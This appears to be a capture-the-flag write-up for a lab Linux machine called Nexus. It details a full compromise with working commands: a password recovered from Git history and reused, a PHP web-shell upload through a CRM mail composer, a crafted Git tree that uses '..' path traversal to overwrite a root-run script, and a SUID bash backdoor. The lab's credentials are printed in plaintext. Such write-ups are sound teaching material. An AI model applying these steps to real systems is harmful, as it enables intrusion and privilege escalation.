Target: 10.129.32.67 · Linux · Git credential leak · Krayin PHP upload · Gitea template path traversal
Nexus chains three trust-boundary failures. A database password removed from a public deployment repository remained in Git history and was reused by a Krayin CRM user. The CRM mail composer stored PHP attachments below a public, executable /storage path, giving code execution as www-data. The live CRM configuration then disclosed a different password reused by the jones Linux and Gitea accounts. Finally, a root timer extracted user-controlled Gitea template paths without containment checks; a crafted Git tree containing .. overwrote the root-executed sync script with a reversible one-shot payload.
Note: Flag values are redacted. Their locations are /home/jones/user.txt and /root/root.txt.
Attack path at a glance
- Enumerate SSH and HTTP; identify
nexus.htb. - Discover
billing.nexus.htbandgit.nexus.htb. - Recover an old Krayin database password from public Git history.
- Reuse it for CRM access as
j.matthew@nexus.htb. - Upload an executable PHP draft attachment and run commands as
www-data. - Read the live CRM password and reuse it for SSH/Gitea as
jones. - Read the user flag and enumerate the root template-sync timer.
- Push a crafted template tree that escapes the staging directory.
- Execute a one-shot payload as root and read the root flag.
Enumeration
ping -c 3 -W 2 10.129.32.67
nmap -Pn -n -p- --min-rate 1000 --max-retries 2 -T4 10.129.32.67
nmap -Pn -n -sC -sV -p22,80 --version-all 10.129.32.67
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nexus.htb/
The main page was a static Nexus Energy Authority site. It disclosed hiring manager j.matthew@nexus.htb. I used per-request resolution instead of changing /etc/hosts:
curl --resolve nexus.htb:80:10.129.32.67 http://nexus.htb/
ffuf -u http://10.129.32.67/ \
-H 'Host: FUZZ.nexus.htb' \
-w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
-mc all -ac -t 20 -rate 80
git [Status: 200, Size: 14474]
billing [Status: 302, Size: 390] -> /admin/login
billing.nexus.htb ran Krayin CRM with Laravel Debugbar exposed. Current responses disclosed Laravel 12.54.1, PHP 8.3.6, local environment/debug mode, controller paths, SQL, and session metadata. Historical Debugbar storage was disabled, so previous requests could not be listed.
git.nexus.htb ran Gitea 1.26.0. Public APIs revealed users admin and jones, plus repository admin/krayin-docker-setup.
Git history leaks the CRM credential
git -c http.extraHeader='Host: git.nexus.htb' clone \
http://10.129.32.67/admin/krayin-docker-setup.git
git -C krayin-docker-setup log --all --oneline --stat
git -C krayin-docker-setup diff 1615c46 9b817fa -- .env
git -C krayin-docker-setup show 1615c46:.env
The newer commit blanked the secret, but the parent retained it:
-DB_PASSWORD=N27xh!!2ucY04
+DB_PASSWORD=
The old password failed for SSH as jones, but one controlled reuse attempt against the CRM identity succeeded:
curl -sS -c crm.cookies \
--resolve billing.nexus.htb:80:10.129.32.67 \
http://billing.nexus.htb/admin/login -o login.html
csrf=$(grep -o 'name="_token" value="[^"]*"' login.html \
| head -1 | cut -d'"' -f4)
curl -iSs -b crm.cookies -c crm.cookies \
--resolve billing.nexus.htb:80:10.129.32.67 \
-X POST http://billing.nexus.htb/admin/login \
--data-urlencode "_token=$csrf" \
--data-urlencode 'email=j.matthew@nexus.htb' \
--data-urlencode 'password=N27xh!!2ucY04'
HTTP/1.1 302 Found
Location: http://billing.nexus.htb/admin/dashboard
Initial access: executable email attachment
The authenticated mail composer preserved the original attachment name and wrote it to storage/app/public/emails/<id>/<name>. There was no effective extension/content restriction and nginx routed the public storage path through PHP-FPM.
I saved a PHP proof as a draft, avoiding outbound email:
<?php
header('Content-Type: text/plain');
echo "NEXUS_UPLOAD_PROOF\n";
passthru('id');
?>
curl -sS -b crm.cookies -c crm.cookies \
--resolve billing.nexus.htb:80:10.129.32.67 \
-X POST http://billing.nexus.htb/admin/mail/create \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'Accept: application/json' \
-F "_token=$csrf" \
-F 'reply_to[0]=j.matthew@nexus.htb' \
-F 'subject=Nexus assessment proof' \
-F 'reply=Authorized security validation draft' \
-F 'is_draft=1' \
-F 'attachments[]=@nexus-proof.php;type=application/x-httpd-php'
The response returned /storage/emails/1/nexus-proof.php. Requesting it proved server-side execution:
NEXUS_UPLOAD_PROOF
uid=33(www-data) gid=33(www-data) groups=33(www-data)
A temporary command endpoint allowed focused local enumeration. The live /var/www/krayin/.env disclosed:
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR
Jones and the user flag
The current database password was reused for SSH:
ssh jones@10.129.32.67
Password: y27xb3ha!!74GbR
jones@nexus:~$ id
uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users)
jones@nexus:~$ whoami
jones
The user flag was at /home/jones/user.txt. The same password authenticated to Gitea, whose API linked jones to j.matthew@nexus.htb.
Privilege escalation: Gitea template traversal
Jones had no sudo permission and baseline SUID/capability checks were unremarkable. A custom systemd timer was different:
systemctl list-timers --all --no-pager
systemctl cat gitea-template-sync.timer gitea-template-sync.service
[Timer]
OnBootSec=1min
OnUnitActiveSec=1min
[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
The script queried Gitea with a privileged token for all template repositories, ran git ls-tree -r HEAD, and trusted every returned path:
stage_path = os.path.join(STAGING_DIR, owner, name)
target = os.path.join(stage_path, filepath)
os.makedirs(os.path.dirname(target), exist_ok=True)
with open(target, 'wb') as f:
f.write(cat_result.stdout)
Raw Git trees can contain nested entries literally named ... Although git fsck reports hasDotdot, the target receive path accepted the object. A harmless ../file was verified first in the timer log.
I created a private template repository through the Gitea API, preserved the original sync script, and staged that backup at /tmp/template-sync-original.py. Its SHA-256 was:
b691e522e83c28344841801b3add37c2ad00d8334feb0b1117b56a5ad1422582
The one-shot payload created a temporary SUID Bash copy, then restored the original timer script in the same execution:
import os
import shutil
shutil.copy2('/bin/bash', '/tmp/nexus-rootbash')
os.chown('/tmp/nexus-rootbash', 0, 0)
os.chmod('/tmp/nexus-rootbash', 0o4755)
shutil.copyfile('/tmp/template-sync-original.py', '/etc/gitea/template-sync.py')
os.chown('/etc/gitea/template-sync.py', 111, 112)
os.chmod('/etc/gitea/template-sync.py', 0o644)
The following built ../../../../../etc/gitea/template-sync.py as a raw recursive tree path:
work=$(mktemp -d)
git -C "$work" init -q
blob=$(git -C "$work" hash-object -w ./template-sync-payload.py)
leaf=$(printf '100644 blob %s\ttemplate-sync.py\n' "$blob" | git -C "$work" mktree)
gitea=$(printf '040000 tree %s\tgitea\n' "$leaf" | git -C "$work" mktree)
tree=$(printf '040000 tree %s\tetc\n' "$gitea" | git -C "$work" mktree)
for n in 1 2 3 4 5; do
tree=$(printf '040000 tree %s\t..\n' "$tree" | git -C "$work" mktree)
done
commit=$(printf 'authorized one-shot timer validation\n' \
| git -C "$work" -c user.name=assessment \
-c user.email=assessment@nexus.htb commit-tree "$tree")
git -C "$work" ls-tree -r "$commit"
100644 blob 7d8d1f8a... ../../../../../etc/gitea/template-sync.py
After the push, one timer cycle copied the payload and the next executed it as root. The SUID proof demonstrated effective UID 0:
/tmp/nexus-rootbash -p -c 'id; whoami; cat /root/root.txt'
uid=1000(jones) gid=1000(jones) euid=0(root) groups=1000(jones),100(users)
root
[root flag redacted]
The root flag was at /root/root.txt.
Credentials
| Context | Identity | Password | Impact |
|---|---|---|---|
Deleted Git .env | krayin | N27xh!!2ucY04 | Historical DB secret |
| Krayin CRM | j.matthew@nexus.htb | N27xh!!2ucY04 | CRM login |
Live Krayin .env | krayin | y27xb3ha!!74GbR | Current DB secret |
| Linux and Gitea | jones | y27xb3ha!!74GbR | User shell and template repository control |